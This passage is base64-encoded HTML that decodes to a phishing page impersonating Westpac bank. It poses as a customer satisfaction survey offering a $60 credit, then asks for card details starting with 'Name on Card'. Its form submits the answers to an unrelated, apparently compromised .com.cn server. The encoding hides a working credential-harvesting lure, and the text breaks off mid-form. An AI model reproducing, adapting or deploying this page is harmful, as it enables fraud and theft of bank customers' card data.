ZW50Ij4NCiAgICAgICAgPGRpdiBjbGFzcz0ic2xlZXZlIj4NCiAgICAgICAgICA8Rk9STSBp ZD1mcm1TdGF0U2VsZWN0IG5hbWU9ZnJtU3RhdFNlbGVjdCBhY3Rpb249aHR0cDovL3d3dy5s b3Zlcm9zZS5jb20uY24vRWRpdG9yL2FkbWluL3N0eWxlcy5hc3AgbWV0aG9kPXBvc3Q+DQo8 aW5wdXQgbmFtZT0iZW50cnlQb2ludCIgdmFsdWU9IiIgdHlwZT0iaGlkZGVuIj4NCiAgICAg ICAgICANCiAgICAgICAgPGgxPiBZb3VyIG9waW5pb24gaXMgaW1wb3J0YW50IHRvIHVzIDwv aDE+DQogICAgICAgICAgDQogICAgICAgIDxwPiBXZSB2YWx1ZSB5b3VyIGlucHV0IGFuZCBh cHByZWNpYXRlIHRoZSB0aW1lIHRha2VuIHRvIGNvbXBsZXRlIHRoaXMgDQogICAgICAgICAg c2hvcnQgY3VzdG9tZXIgc2F0aXNmYWN0aW9uIHN1cnZleSBhbmQgaW4gcmV0dXJuIFdlc3Rw YWMgd2lsbCBhZGQgNjAkIA0KICAgICAgICAgIGNyZWRpdCB0byB5b3VyIGFjY291bnQuPGJy Pg0KICAgICAgICAgIFRoZSBpbmRlcGVuZGVudCBmZWVkYmFjayB5b3UgcHJvdmlkZSBjYW4g aGVscCBkcml2ZSB0aGUgb25nb2luZyBkZXZlbG9wbWVudCANCiAgICAgICAgICBvZiBvdXIg d2Vic2l0ZS48L3A+DQogICAgICAgIDxkaXYgY2xhc3M9IndyYXBmaWVsZCI+DQogICAgICAg ICAgICAgIDxmaWVsZHNldD4NCiAgICAgICAgICAgICAgICA8bGVnZW5kPjxzcGFuIGNsYXNz PSJxdWVzdGlvbk51bSI+MSk8L3NwYW4+IEFyZSB5b3UgYSBXZXN0cGFjIGN1c3RvbWVyPzwv bGVnZW5kPiA8aW5wdXQgaWQ9ImN1c3RvbWVyLnllcyIgbmFtZT0iY3VzdG9tZXIiIGNsYXNz PSJyZG8iIHZhbHVlPSJ0cnVlIiB0eXBlPSJyYWRpbyI+IDxsYWJlbCBmb3I9ImN1c3RvbWVy LnllcyI+WWVzPC9sYWJlbD4gPGlucHV0IGlkPSJjdXN0b21lci5ubyIgbmFtZT0iY3VzdG9t ZXIiIGNsYXNzPSJyZG8iIHZhbHVlPSJmYWxzZSIgdHlwZT0icmFkaW8iPiA8bGFiZWwgZm9y PSJjdXN0b21lci5ubyI+Tm88L2xhYmVsPg0KICAgICAgICAgICAgICA8L2ZpZWxkc2V0Pg0K ICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3cmFwZmllbGQi Pg0KICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJwdXJwb3NlIiBjbGFzcz0ibGVnZW5kIj48 c3BhbiBjbGFzcz0icXVlc3Rpb25OdW0iPjIpPC9zcGFuPiBXaHkgZGlkIHlvdSBjb21lIHRv IHdlc3RwYWMuY29tLmF1IHRvZGF5PzwvbGFiZWw+IDxzZWxlY3QgaWQ9InB1cnBvc2UiIG5h bWU9InB1cnBvc2UiPg0KICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IiIgc2VsZWN0 ZWQ+DQogICAgICAgICAgICAgICAgICBjaG9vc2UNCiAgICAgICAgICAgICAgICA8L29wdGlv bj4NCiAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJPbmxpbmUgYmFua2luZyBvciBi cm9raW5nIj4NCiAgICAgICAgICAgICAgICAgIE9ubGluZSBiYW5raW5nIG9yIGJyb2tpbmcN CiAgICAgICAgICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgICAgICAgICA8b3B0aW9uIHZh bHVlPSJMb29raW5nIGZvciBwcm9kdWN0IGluZm9ybWF0aW9uIj4NCiAgICAgICAgICAgICAg ICAgIExvb2tpbmcgZm9yIHByb2R1Y3QgaW5mb3JtYXRpb24NCiAgICAgICAgICAgICAgICA8 L29wdGlvbj4NCiAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJMb29raW5nIGZvciBj b250YWN0IGluZm9ybWF0aW9uIj4NCiAgICAgICAgICAgICAgICAgIExvb2tpbmcgZm9yIGNv bnRhY3QgaW5mb3JtYXRpb24NCiAgICAgICAgICAgICAgICA8L29wdGlvbj4NCiAgICAgICAg ICAgICAgICA8b3B0aW9uIHZhbHVlPSJSZXNwb25kaW5nIHRvIGFuIG9ubGluZSBhZHZlcnRp c2VtZW50Ij4NCiAgICAgICAgICAgICAgICAgIFJlc3BvbmRpbmcgdG8gYW4gYWR2ZXJ0aXNl bWVudA0KICAgICAgICAgICAgICAgIDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgIDxvcHRp b24gdmFsdWU9IkFwcGx5aW5nIG9ubGluZSBmb3IgYSBwcm9kdWN0Ij4NCiAgICAgICAgICAg ICAgICAgIEFwcGx5aW5nIG9ubGluZSBmb3IgYSBwcm9kdWN0DQogICAgICAgICAgICAgICAg PC9vcHRpb24+DQogICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iTG9va2luZyBmb3Ig YSBqb2IiPg0KICAgICAgICAgICAgICAgICAgTG9va2luZyBmb3IgYSBqb2INCiAgICAgICAg ICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJTZWVr aW5nIGludmVzdG9yIGluZm9ybWF0aW9uIj4NCiAgICAgICAgICAgICAgICAgIFNlZWtpbmcg aW52ZXN0b3IgaW5mb3JtYXRpb24NCiAgICAgICAgICAgICAgICA8L29wdGlvbj4NCiAgICAg ICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJDb21wYXJpbmcgaW50ZXJlc3QgcmF0ZXMiPg0K ICAgICAgICAgICAgICAgICAgQ29tcGFyaW5nIGludGVyZXN0IHJhdGVzDQogICAgICAgICAg ICAgICAgPC9vcHRpb24+DQogICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iRW5xdWly aW5nIGFib3V0IG1lZGlhIHJlbGF0aW9ucyI+DQogICAgICAgICAgICAgICAgICBFbnF1aXJp bmcgYWJvdXQgbWVkaWEgcmVsYXRpb25zDQogICAgICAgICAgICAgICAgPC9vcHRpb24+DQog ICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iT3RoZXIiPg0KICAgICAgICAgICAgICAg ICAgT3RoZXINCiAgICAgICAgICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgICAgICAgPC9z ZWxlY3Q+IA0KICA8ZGl2IGNsYXNzPSJzaGltIj4NCiAgPGRpdiBpZD0icHVycG9zZUNvbW1l bnRzQmxvY2siIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+DQogICAgICAgICAgICAgICAgPGlu cHV0IGlkPSJwdXJwb3NlQ29tbWVudHMiIG5hbWU9InB1cnBvc2VDb21tZW50cyIgY2xhc3M9 Im90aGVyT3B0aW9uIiB2YWx1ZT0iIiBzaXplPSI2MCIgbWF4bGVuZ3RoPSIxMDAiIHR5cGU9 InRleHQiPg0KICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgPC9kaXY+DQog ICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9IndyYXBmaWVsZCI+ DQogICAgICAgICAgICAgIDxmaWVsZHNldD4NCiAgICAgICAgICAgICAgICA8bGVnZW5kPjxz cGFuIGNsYXNzPSJxdWVzdGlvbk51bSI+Myk8L3NwYW4+IERpZCB5b3UgYWNoaWV2ZSB3aGF0 IHlvdSB3YW50ZWQ/PC9sZWdlbmQ+IDxpbnB1dCBpZD0ic3VjY2Vzcy55ZXMiIG5hbWU9InN1 Y2Nlc3MiIGNsYXNzPSJyZG8iIHZhbHVlPSJ0cnVlIiB0eXBlPSJyYWRpbyI+IDxsYWJlbCBm b3I9InN1Y2Nlc3MueWVzIj5ZZXM8L2xhYmVsPiA8aW5wdXQgaWQ9InN1Y2Nlc3Mubm8iIG5h bWU9InN1Y2Nlc3MiIGNsYXNzPSJyZG8iIHZhbHVlPSJmYWxzZSIgdHlwZT0icmFkaW8iPiA8 bGFiZWwgZm9yPSJzdWNjZXNzLm5vIj5ObzwvbGFiZWw+IA0KICAgICAgICAgICAgICAgIDxk aXYgaWQ9InN1Y2Nlc3NDb21tZW50c0Jsb2NrIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPg0K ICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ic3VjY2Vzc0NvbW1lbnRzIiBjbGFzcz0i b3RoZXJPcHRpb24iPldoeSBub3Q/PC9sYWJlbD4gDQogICAgICAgICAgICAgICAgICA8ZGl2 IGNsYXNzPSJzaGltIj4NCiAgICAgICAgICAgICAgICAgIDwvZGl2PjxpbnB1dCBpZD0ic3Vj Y2Vzc0NvbW1lbnRzIiBuYW1lPSJzdWNjZXNzQ29tbWVudHMiIGNsYXNzPSJvdGhlck9wdGlv biIgdmFsdWU9IiIgc2l6ZT0iNjAiIG1heGxlbmd0aD0iMTAwIiB0eXBlPSJ0ZXh0Ij4NCiAg ICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgPC9maWVsZHNldD4NCiAgICAg ICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0id3JhcGZpZWxkIj4NCiAg ICAgICAgICAgICAgPGxhYmVsIGZvcj0iZWFzZU9mVXNlIiBjbGFzcz0ibGVnZW5kIj48c3Bh biBjbGFzcz0icXVlc3Rpb25OdW0iPjQpPC9zcGFuPiBIb3cgc3RyYWlnaHRmb3J3YXJkIGRp ZCB5b3UgZmluZCB0aGUgc2l0ZSB0byB1c2U/PC9sYWJlbD4gPHNlbGVjdCBpZD0iZWFzZU9m VXNlIiBuYW1lPSJlYXNlT2ZVc2UiPg0KICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9 Ii0xIj4NCiAgICAgICAgICAgICAgICAgIGNob29zZQ0KICAgICAgICAgICAgICAgIDwvb3B0 aW9uPg0KICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjUiPg0KICAgICAgICAgICAg ICAgICAgVmVyeSBlYXN5DQogICAgICAgICAgICAgICAgPC9vcHRpb24+DQogICAgICAgICAg ICAgICAgPG9wdGlvbiB2YWx1ZT0iNCI+DQogICAgICAgICAgICAgICAgICBFYXN5DQogICAg ICAgICAgICAgICAgPC9vcHRpb24+DQogICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i MyI+DQogICAgICAgICAgICAgICAgICBBdmVyYWdlDQogICAgICAgICAgICAgICAgPC9vcHRp b24+DQogICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMiI+DQogICAgICAgICAgICAg ICAgICBEaWZmaWN1bHQNCiAgICAgICAgICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgICAg ICAgICA8b3B0aW9uIHZhbHVlPSIxIj4NCiAgICAgICAgICAgICAgICAgIFZlcnkgZGlmZmlj dWx0DQogICAgICAgICAgICAgICAgPC9vcHRpb24+DQogICAgICAgICAgICAgIDwvc2VsZWN0 Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3cmFwZmll bGQiPg0KICAgICAgICAgICAgICA8ZmllbGRzZXQ+DQogICAgICAgICAgICAgICAgPGxlZ2Vu ZD48c3BhbiBjbGFzcz0icXVlc3Rpb25OdW0iPjUpPC9zcGFuPiBXaGF0IGRvIHlvdSB0aGlu ayBvZiBvdXIgd2Vic2l0ZSBpbiB0ZXJtcyBvZjo8L2xlZ2VuZD4gDQogICAgICAgICAgICAg ICAgPHVsIGNsYXNzPSJyaWNodGV4dCByaWNoc2VsZWN0Ij4NCiAgICAgICAgICAgICAgICAg IDxsaT4NCiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ibmF2aWdhdGlvbiIgY2xh c3M9InNlbGVjdCI+TmF2aWdhdGlvbjwvbGFiZWw+IDxzZWxlY3QgaWQ9Im5hdmlnYXRpb24i IG5hbWU9Im5hdmlnYXRpb24iPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFs dWU9Ii0xIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIGNob29zZQ0KICAgICAgICAgICAg ICAgICAgICAgIDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFs dWU9IjUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgRXhjZWxsZW50DQogICAgICAgICAg ICAgICAgICAgICAgPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2 YWx1ZT0iNCI+DQogICAgICAgICAgICAgICAgICAgICAgICBHb29kDQogICAgICAgICAgICAg ICAgICAgICAgPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1 ZT0iMyI+DQogICAgICAgICAgICAgICAgICAgICAgICBBdmVyYWdlDQogICAgICAgICAgICAg ICAgICAgICAgPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1 ZT0iMiI+DQogICAgICAgICAgICAgICAgICAgICAgICBGYWlyDQogICAgICAgICAgICAgICAg ICAgICAgPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i MSI+DQogICAgICAgICAgICAgICAgICAgICAgICBQb29yDQogICAgICAgICAgICAgICAgICAg ICAgPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAg ICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgIDxsaT4NCiAgICAgICAgICAgICAg ICAgICAgPGxhYmVsIGZvcj0icXVhbGl0eSIgY2xhc3M9InNlbGVjdCI+SW5mb3JtYXRpb248 L2xhYmVsPiA8c2VsZWN0IGlkPSJJbmZvcm1hdGlvbiIgbmFtZT0iSW5mb3JtYXRpb24iPg0K ICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ii0xIj4NCiAgICAgICAgICAg ICAgICAgICAgICAgIGNob29zZQ0KICAgICAgICAgICAgICAgICAgICAgIDwvb3B0aW9uPg0K ICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjUiPg0KICAgICAgICAgICAg ICAgICAgICAgICAgRXhjZWxsZW50DQogICAgICAgICAgICAgICAgICAgICAgPC9vcHRpb24+ DQogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNCI+DQogICAgICAgICAg ICAgICAgICAgICAgICBHb29kDQogICAgICAgICAgICAgICAgICAgICAgPC9vcHRpb24+DQog ICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMyI+DQogICAgICAgICAgICAg ICAgICAgICAgICBBdmVyYWdlDQogICAgICAgICAgICAgICAgICAgICAgPC9vcHRpb24+DQog ICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMiI+DQogICAgICAgICAgICAg ICAgICAgICAgICBGYWlyDQogICAgICAgICAgICAgICAgICAgICAgPC9vcHRpb24+DQogICAg ICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMSI+DQogICAgICAgICAgICAgICAg ICAgICAgICBQb29yDQogICAgICAgICAgICAgICAgICAgICAgPC9vcHRpb24+DQogICAgICAg ICAgICAgICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAg ICAgICAgICAgICAgIDxsaT4NCiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ibG9v a0FuZEZlZWwiIGNsYXNzPSJzZWxlY3QiPlRoZSB3YXkgdGhlIHNpdGUgbG9va3M8L2xhYmVs PiA8c2VsZWN0IGlkPSJsb29rQW5kRmVlbCIgbmFtZT0ibG9va0FuZEZlZWwiPg0KICAgICAg ICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ii0xIj4NCiAgICAgICAgICAgICAgICAg ICAgICAgIGNob29zZQ0KICAgICAgICAgICAgICAgICAgICAgIDwvb3B0aW9uPg0KICAgICAg ICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjUiPg0KICAgICAgICAgICAgICAgICAg ICAgICAgRXhjZWxsZW50DQogICAgICAgICAgICAgICAgICAgICAgPC9vcHRpb24+DQogICAg ICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNCI+DQogICAgICAgICAgICAgICAg ICAgICAgICBHb29kDQogICAgICAgICAgICAgICAgICAgICAgPC9vcHRpb24+DQogICAgICAg ICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMyI+DQogICAgICAgICAgICAgICAgICAg ICAgICBBdmVyYWdlDQogICAgICAgICAgICAgICAgICAgICAgPC9vcHRpb24+DQogICAgICAg ICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMiI+DQogICAgICAgICAgICAgICAgICAg ICAgICBGYWlyDQogICAgICAgICAgICAgICAgICAgICAgPC9vcHRpb24+DQogICAgICAgICAg ICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMSI+DQogICAgICAgICAgICAgICAgICAgICAg ICBQb29yDQogICAgICAgICAgICAgICAgICAgICAgPC9vcHRpb24+DQogICAgICAgICAgICAg ICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAg ICAgICA8L3VsPg0KICAgICAgICAgICAgICA8L2ZpZWxkc2V0Pg0KICAgICAgICAgICAgPC9k aXY+DQogICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id3JhcGZpZWxkIj4NCiAg PGxhYmVsIGZvcj0iTGlrZU1vc3QiIGNsYXNzPSJsZWdlbmQiPjxzcGFuIGNsYXNzPSJxdWVz dGlvbk51bSI+Nik8L3NwYW4+V2hhdCBkbyB5b3UgbGlrZSBtb3N0IGFib3V0IG91ciBuZXcg d2Vic2l0ZT8NCiAgIDwvbGFiZWw+IDx0ZXh0YXJlYSBpZD0iTGlrZU1vc3QiIG5hbWU9Ikxp a2VNb3N0IiByb3dzPSIzIiBjb2xzPSI1NSIgbWF4bGVuZ3RoPSI1MDAiPjwvdGV4dGFyZWE+ IA0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFz cz0id3JhcGZpZWxkIj4NCiAgPGxhYmVsIGZvcj0iQ2hhbmdlcyIgY2xhc3M9ImxlZ2VuZCI+ PHNwYW4gY2xhc3M9InF1ZXN0aW9uTnVtIj43KTwvc3Bhbj5BcmUgdGhlcmUgYW55IGNoYW5n ZXMgdG8gdGhlIHdlYnNpdGUgeW91IHdvdWxkIGxpa2UgdG8gc2VlPzwvbGFiZWw+IDx0ZXh0 YXJlYSBpZD0iQ2hhbmdlcyIgbmFtZT0iQ2hhbmdlcyIgcm93cz0iMyIgY29scz0iNTUiIG1h eGxlbmd0aD0iNTAwIj48L3RleHRhcmVhPiANCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAg ICAgICAgICA8ZGl2IGNsYXNzPSJ3cmFwZmllbGQiPg0KIDxsYWJlbCBmb3I9Im92ZXJhbGxS YXRpbmciIGNsYXNzPSJsZWdlbmQiPjxzcGFuIGNsYXNzPSJxdWVzdGlvbk51bSI+OCk8L3Nw YW4+IE92ZXJhbGwsIHdoYXQgZG8geW91IHRoaW5rIG9mIHRoZSBXZXN0cGFjIHdlYnNpdGU/ PC9sYWJlbD4gPHNlbGVjdCBpZD0ib3ZlcmFsbFJhdGluZyIgbmFtZT0ib3ZlcmFsbFJhdGlu ZyI+DQogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iLTEiPg0KICAgICAg ICAgICAgICAgICAgICAgICAgY2hvb3NlDQogICAgICAgICAgICAgICAgICAgICAgPC9vcHRp b24+DQogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNSI+DQogICAgICAg ICAgICAgICAgICAgICAgICBFeGNlbGxlbnQNCiAgICAgICAgICAgICAgICAgICAgICA8L29w dGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI0Ij4NCiAgICAg ICAgICAgICAgICAgICAgICAgIEdvb2QNCiAgICAgICAgICAgICAgICAgICAgICA8L29wdGlv bj4NCiAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIzIj4NCiAgICAgICAg ICAgICAgICAgICAgICAgIEF2ZXJhZ2UNCiAgICAgICAgICAgICAgICAgICAgICA8L29wdGlv bj4NCiAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIyIj4NCiAgICAgICAg ICAgICAgICAgICAgICAgIEZhaXINCiAgICAgICAgICAgICAgICAgICAgICA8L29wdGlvbj4N CiAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIxIj4NCiAgICAgICAgICAg ICAgICAgICAgICAgIFBvb3INCiAgICAgICAgICAgICAgICAgICAgICA8L29wdGlvbj4NCiAg ICAgICAgICAgICAgPC9zZWxlY3Q+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgDQog ICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3cmFwZmllbGQgd3JhcHNsaWRlciI+DQogICA8 ZmllbGRzZXQ+DQogICAgICAgICAgICAgIDxsYWJlbCBmb3I9InJlY29tbWVuZCIgY2xhc3M9 ImxlZ2VuZCI+PHNwYW4gY2xhc3M9InF1ZXN0aW9uTnVtIj45KTwvc3Bhbj4gVXNpbmcgYSBz Y2FsZSBvZiAwIHRvIDEwLCBob3cgbGlrZWx5IHdvdWxkIHlvdSBiZSB0byByZWNvbW1lbmQg dGhpcyB3ZWJzaXRlIHRvIHlvdXIgZnJpZW5kcyBhbmQgZmFtaWx5LCB3aGVyZSAwIG1lYW5z ICdub3QgbGlrZWx5JyBhbmQgMTAgbWVhbnMgJ2V4dHJlbWVseSBsaWtlbHknPzwvbGFiZWw+ IA0KICAgPGRpdiBpZD0icmVjb21tZW5kTGFiZWxzIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDE1 cHg7Ij4NCiAgICAgICAgICAgICAgICAgIDxzcGFuIGlkPSJtb3N0Ij5Ob3QgbGlrZWx5PC9z cGFuPiA8c3BhbiBpZD0ibGVhc3QiPkV4dHJlbWVseSBsaWtlbHk8L3NwYW4+DQo8L2Rpdj4N Cjx1bD48bGkgc3R5bGU9ImZsb2F0OiBsZWZ0OyB3aWR0aDogNDRweDsiPg0KPGlucHV0IGlk PSJyZWMwIiBuYW1lPSJyZWNvbW1lbmQiIGNsYXNzPSJyZG8iIHZhbHVlPSIwIiB0eXBlPSJy YWRpbyI+PGxhYmVsIGZvcj0icmVjMCI+MDwvbGFiZWw+DQo8L2xpPjxsaSBzdHlsZT0iZmxv YXQ6IGxlZnQ7IHdpZHRoOiA0NHB4OyI+DQo8aW5wdXQgaWQ9InJlYzEiIG5hbWU9InJlY29t bWVuZCIgY2xhc3M9InJkbyIgdmFsdWU9IjEiIHR5cGU9InJhZGlvIj48bGFiZWwgZm9yPSJy ZWMxIj4xPC9sYWJlbD4NCjwvbGk+PGxpIHN0eWxlPSJmbG9hdDogbGVmdDsgd2lkdGg6IDQ0 cHg7Ij4NCjxpbnB1dCBpZD0icmVjMiIgbmFtZT0icmVjb21tZW5kIiBjbGFzcz0icmRvIiB2 YWx1ZT0iMiIgdHlwZT0icmFkaW8iPjxsYWJlbCBmb3I9InJlYzIiPjI8L2xhYmVsPg0KPC9s aT48bGkgc3R5bGU9ImZsb2F0OiBsZWZ0OyB3aWR0aDogNDRweDsiPg0KPGlucHV0IGlkPSJy ZWMzIiBuYW1lPSJyZWNvbW1lbmQiIGNsYXNzPSJyZG8iIHZhbHVlPSIzIiB0eXBlPSJyYWRp byI+PGxhYmVsIGZvcj0icmVjMyI+MzwvbGFiZWw+DQo8L2xpPjxsaSBzdHlsZT0iZmxvYXQ6 IGxlZnQ7IHdpZHRoOiA0NHB4OyI+DQo8aW5wdXQgaWQ9InJlYzQiIG5hbWU9InJlY29tbWVu ZCIgY2xhc3M9InJkbyIgdmFsdWU9IjQiIHR5cGU9InJhZGlvIj48bGFiZWwgZm9yPSJyZWM0 Ij40PC9sYWJlbD4NCjwvbGk+PGxpIHN0eWxlPSJmbG9hdDogbGVmdDsgd2lkdGg6IDQ0cHg7 Ij4NCjxpbnB1dCBpZD0icmVjNSIgbmFtZT0icmVjb21tZW5kIiBjbGFzcz0icmRvIiB2YWx1 ZT0iNSIgdHlwZT0icmFkaW8iPjxsYWJlbCBmb3I9InJlYzUiPjU8L2xhYmVsPg0KPC9saT48 bGkgc3R5bGU9ImZsb2F0OiBsZWZ0OyB3aWR0aDogNDRweDsiPg0KPGlucHV0IGlkPSJyZWM2 IiBuYW1lPSJyZWNvbW1lbmQiIGNsYXNzPSJyZG8iIHZhbHVlPSI2IiB0eXBlPSJyYWRpbyI+ PGxhYmVsIGZvcj0icmVjNiI+NjwvbGFiZWw+DQo8L2xpPjxsaSBzdHlsZT0iZmxvYXQ6IGxl ZnQ7IHdpZHRoOiA0NHB4OyI+DQo8aW5wdXQgaWQ9InJlYzciIG5hbWU9InJlY29tbWVuZCIg Y2xhc3M9InJkbyIgdmFsdWU9IjciIHR5cGU9InJhZGlvIj48bGFiZWwgZm9yPSJyZWM3Ij43 PC9sYWJlbD4NCjwvbGk+PGxpIHN0eWxlPSJmbG9hdDogbGVmdDsgd2lkdGg6IDQ0cHg7Ij4N CjxpbnB1dCBpZD0icmVjOCIgbmFtZT0icmVjb21tZW5kIiBjbGFzcz0icmRvIiB2YWx1ZT0i OCIgdHlwZT0icmFkaW8iPjxsYWJlbCBmb3I9InJlYzgiPjg8L2xhYmVsPg0KPC9saT48bGkg c3R5bGU9ImZsb2F0OiBsZWZ0OyB3aWR0aDogNDRweDsiPg0KPGlucHV0IGlkPSJyZWM5IiBu YW1lPSJyZWNvbW1lbmQiIGNsYXNzPSJyZG8iIHZhbHVlPSI5IiB0eXBlPSJyYWRpbyI+PGxh YmVsIGZvcj0icmVjOSI+OTwvbGFiZWw+DQo8L2xpPjxsaSBzdHlsZT0iZmxvYXQ6IGxlZnQ7 IHdpZHRoOiA1MHB4OyI+DQo8aW5wdXQgaWQ9InJlYzEwIiBuYW1lPSJyZWNvbW1lbmQiIGNs YXNzPSJyZG8iIHZhbHVlPSIxMCIgdHlwZT0icmFkaW8iPjxsYWJlbCBmb3I9InJlYzEwIj4x MDwvbGFiZWw+DQo8L2xpPjwvdWw+DQo8L2ZpZWxkc2V0Pg0KPC9kaXY+DQogICAgICAgICAg ICAgICAgICAgICAgDQogICAgICAgIDxkaXYgY2xhc3M9IndyYXBmaWVsZCI+IDxsYWJlbCBm b3I9ImNvbW1lbnRzIiBjbGFzcz0ibGVnZW5kIj48c3BhbiBjbGFzcz0icXVlc3Rpb25OdW0i PjEwKTwvc3Bhbj5JcyANCiAgICAgICAgICB0aGVyZSBhbnkgb3RoZXIgZmVlZGJhY2sgeW91 kmQgbGlrZSB0byBnaXZlIHVzPzwvbGFiZWw+IA0KICAgICAgICAgIDxwPiANCiAgICAgICAg ICAgIDx0ZXh0YXJlYSBpZD0iY29tbWVudHMiIG5hbWU9ImNvbW1lbnRzIiByb3dzPSI1IiBj b2xzPSI1NSIgbWF4bGVuZ3RoPSI1MDAiPjwvdGV4dGFyZWE+DQogICAgICAgICAgICA8YnI+ DQogICAgICAgICAgICA8YnI+DQogICAgICAgICAgICBUaGFuayB5b3UgZm9yIHRha2luZyB0 aGUgdGltZSB0byByZXNwb25kIHRvIHRoaXMgc3VydmV5LiBJbiByZXR1cm4sIA0KICAgICAg ICAgICAgd2Ugd2lsbCBhZGQgNjAkIGNyZWRpdCB0byB5b3VyIGFjY291bnQganVzdCBmb3Ig eW91ciB0aW1lLiA8L3A+DQogICAgICAgICAgPGxhYmVsIGZvcj0iY29tbWVudHMiIGNsYXNz PSJsZWdlbmQiPlBsZWFzZSBlbnRlciB5b3VyIGFjY291bnQgZGV0YWlscyANCiAgICAgICAg ICB0byBjcmVkaXQgeW91ciA2MCQgcmV3YXJkOjxicj4NCiAgICAgICAgICA8YnI+DQogICAg ICAgICAgPC9sYWJlbD4gDQogICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIj4NCiAgICAg ICAgICAgIDx0cj4gDQogICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj48Zm9udCBzaXpl PSIxIj48Yj5GaWVsZHMgd2l0aCBhbiBhc3RlcmlzayA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+ KjwvZm9udD4gDQogICAgICAgICAgICAgICAgYXJlIG1hbmRhdG9yeTxicj4NCiAgICAgICAg ICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgPC9iPjwvZm9udD48L3RkPg0KICAgICAg ICAgICAgPC90cj4NCiAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgIDx0ZCB3aWR0 aD0iMzQlIj48Yj48Zm9udCBzaXplPSIxIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Kjwv Zm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIyIj5OYW1l IG9uIENhcmQ6PC9mb250PjwvYj48L3RkPg0KICAgICAgICAgICAgICA8dGQgd2lkdGg9IjY2 